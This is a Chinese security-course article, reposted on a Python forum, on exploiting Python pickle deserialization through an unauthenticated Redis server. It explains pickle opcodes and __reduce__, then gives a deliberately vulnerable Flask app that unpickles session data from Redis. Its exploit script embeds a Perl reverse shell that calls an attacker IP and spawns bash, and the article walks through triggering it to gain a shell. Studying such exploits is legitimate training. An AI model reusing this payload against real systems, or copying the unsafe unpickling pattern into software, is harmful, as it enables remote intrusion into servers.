社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

使用Python验证并利用Redis未授权漏洞

Ms08067安全实验室 • 3 年前 • 349 次点击  

文章来源|MS08067 Web高级攻防第3期作业

本文作者:huang(Web高级攻防3期学员)

Python序列化与反序列化

原理

Python序列化是将Python对象及其所拥有的层次结构转化为一个字节流的过程,反序列化是将字节流转化回一个对象层次结构。

Python对象序列化模块间的关系

在python中通常使用json、pickle/cPickle以及marshal、shelve等方式进行序列化和反序列化操作。

模块名称描述提供的api
json用于实现Python数据类型与通用(json)字符串之间的转换dumps()、dump()、loads()、load()
pickle/cPickle用于实现Python数据类型与Python特定二进制格式之间的转换。pickle或cPickle两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同。dumps()、dump()、loads()、load()
marshalmarshal负责在Python数值与二进制字节对象之间进行转换的。marshal的存在主要是为了支持 Python 的 .pyc 文件。dumps()、dump()、loads()、load()
shelveshelve模块是一个简单的以k,v结构将内存中的数据通过文件持久化的模块,可以持久化任何pickle可支持的python数据类型 open()

一般pickle是序列化Python对象时的首选。

pickle与json模块的比较

1.JSON 是一个文本序列化格式(它输出 unicode 文本,尽管在大多数时候它会接着以 utf-8 编码),而 pickle 是一个二进制序列化格式;2.JSON 是我们可以直观阅读的,而 pickle 不是;3.JSON是可互操作的,在Python系统之外广泛使用,而pickle则是Python专用的;4.默认情况下,JSON 只能表示 Python 内置类型的子集,不能表示自定义的类;但 pickle 可以表示大量的 Python 数据类型(可以合理使用 Python 的对象内省功能自动地表示大多数类型,复杂情况可以通过实现 specific object APIs 来解决)。5.JSON对一个不信任的JSON进行反序列化的操作本身不会造成任意代码执行漏洞。而pickle 模块并不安全。你只应该对你信任的数据进行反序列化操作。构建恶意的 pickle 数据来在解封时执行任意代码是可以实现的的。下面我们重点讲解pickle模块如何实现反序列化。

Pickle模块序列化与反序列化

pickle序列化与反序列化函数

函数说明
dumps对象反序列化为bytes对象
dump对象反序列化到文件对象,存入文件
loads从bytes对象反序列化
load对象反序列化,从文件中读取数据

与 PHP 序列化相似,Python 序列化也是将对象转换成具有特定格式的字符串(python2)或字节流(python3),以便于传输与存储

python2和python3执行pickle模块

python2执行结果python3执行结果同样的代码,得到的结果完全不同。这就涉及到了PVM,因为它是Python序列化过程和反序列化过程中最根本的东西。具体可参考【https://www.cnblogs.com/wjrblogs/p/14057784.html】

python2执行结果字符的特殊含义如下

符号说明含义
c读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中导入模块及其具体对象,nt->windows,posix->linux
(将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组左括号
t 从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中相当于),与(组合构成一个元组
R将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中标识反序列化时根据reduce中的方式完成反序列化,会避免报错(漏洞点)
S读取引号中的字符串直到换行符处,然后将它压入堆栈代表一个字符串
P后面接一个数字,标识第N块堆栈如p0,p1
.将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。标识结束

python3执行结果字符的特殊含义如下(因为我是用的python是最新的3.10版本,所以默认协议为4.参考链接:https://peps.python.org/pep-3154/, 其他版本协议参考https://blog.csdn.net/m0_65129142/article/details/121972449)

b'\x80\x04\x95\x0f\x00\x00\x00\x00\x00\x00\x00\x8c\x0bhello world\x94.'

| x80 | x04 |              protocol header (2 bytes)    \x80协议头声明 \x04:协议版本
|  OP  |                     FRAME opcode (1 byte)      帧操作码\x95
| MM MM MM MM MM MM MM MM |  frame size (8 bytes, little-endian)      帧大小x0f\x00\x00\x00\x00\x00\x00\x00
| .... |                     first frame contents (M bytes)           数据:\x8c\x0bhello world
.                             结束                            \x94.

Python反序列化与PHP反序列化的区别

(1)PHP在反序列化的过程中必须保证当前作用域下类是存在的,否则无法完成反序列化操作。(2) Python 反序列化不需要,其只要求被反序列化的字符可控即可造成 RCE

python反序列化漏洞利用原理

ptyhon反序列化漏洞出现在 reduce()魔法函数上,这一点和PHP中的__wakeup() 魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。所以容易被进行漏洞利用。官方解释如下:

魔数函数__reduce__(),在构造的过程中有两种构造规则。(1)如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后return ‘str’,那么它就会在当前的作用域中寻找名为str的对象然后返回,否则报错。(2)如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。例如下面代码return (os.system,('whoami',)),_reduce_()时自动调用执行os.system函数,然后元组内的值whoami作为参数,从而达到执行命令或代码的目的。

所以我们可以利用__reduce__()第二种构造规则来执行恶意代码。

漏洞复现

Redis未授权利用

原理及漏洞、redis安装可参考https://www.cnblogs.com/bmjoker/p/9548962.html 当前测试环境需要安装redis服务,并且设置未授权问题。redis.conf文件中将bind 127.0.0.1注释掉,部分版本要将protected-mode yes 修改为protected-mode no。redis以root身份来运行。(普通权限运行也可测试) 启动redis服务

测试反序列化漏洞代码如下:

import redis
from flask import Flask,request,session
import pickle
import random
app = Flask(__name__) #需要安装flask,pip install flask
class Redis:  #定义Redis类,类中有三个方法,connect()方法负责连接redis数据库。注意IP和端口
    @staticmethod
    def connect():
        r = redis.StrictRedis(host='localhost', port=6379, db=0)
        return r
    @staticmethod
    def set_data(r,key,data,ex=None): #连接redis数据库后存值,(key=data)
        r.set(key,pickle.dumps(data),ex)  #在存储数据时先对数据进行序列化
    @staticmethod
    def get_data(r,key):#取值,根据key来取值,并对取出的数据进行反序列化
        data = r.get(key)
        if data is None:
            return None
        return pickle.loads(data)
def getrand():#获取随机字符串
    str='abcdefghijklnmopqrstuvwxyz1234567890'
    count = ''
    for i in range(10):
            index = random.randint(0,35)
            count += str[index]
    return count
@app.route('/',methods=['GET']) #用户请求为:http://127.0.0.1:5000?str=test,服务端获取str值并存入到redis,key是随机字符串,data是test
def hello_world():
    str = request.args.get('str')
    r = Redis.connect()
    rand = getrand()
    Redis.set_data(r,rand,str)
    return rand+':'+str
@app.route('/getcookie')#当用户访问http://127.0.0.1:5000/getcookie时需要提前在浏览器中设置cookie:session=key。注意key是存数据之前随机生成的,读取数据。对序列化的数据进行反序列化
def get_cookie():
    cookie = request.cookies.get('session')
    r = Redis.connect()
    data = Redis.get_data(r,cookie)
    return 'your data:',data
#return cookie
if __name__ == '__main__':
    app.run()

上述代码存储为code.py,运行:python code.py命令,就在5000端口启动简单的服务端访问http://127.0.0.1:5000/?str=huang 即可利用代码中Redis类中set_data()方法往redis服务器中插入str变量huang,并通过getrand()生成随机字符串key

访问redis服务器查看写入的数据情况,redis-cli

可见redis存在未授权漏洞,我们尝试利用Python来利用redis来获取服务器的shell。

通过构造payload 修改session,将session的值修改成可利用的shell,将下列代码保存为code3.py并执行

#!/usr/bin/env python
#encoding:utf-8
import cPickle
import os
import redis
class exp(object):
    def __reduce__(self):
        s = """perl -e 'use Socket;$i="192.168.1.101";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'""" #反弹shell的语句可以替换成其他方式
#192.168.1.100:5566为监听端口,为了反弹shell
        return (os.system, (s,))
e = exp()
s = cPickle.dumps(e)
r = redis.Redis(host='127.0.0.1', port=6379, db=0)
r.set("c60kulaool", s) #c60kulaool为生成的session值

重新查看c60kulaool的值,shell成功插入

访问http://127.0.0.1//getcookie 控制台设置cookie:session,命令:document.cookie= ' session=c60kulaool'

在攻击机上启动监听

刷新访问127.0.0.1:5000/getcookie,攻击机上获得shell

参考文档:https://docs.python.org/zh-cn/3/library/pickle.html https://blog.csdn.net/qq_43431158/article/details/108919605 https://blog.csdn.net/m0_65129142/article/details/121972449 https://www.cnblogs.com/crelle/p/13528641.html https://www.sohu.com/a/406114366_472906



—  实验室旗下直播培训课程  —



来和10000+位同学加入MS08067一起学习吧!




Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/135614
 
349 次点击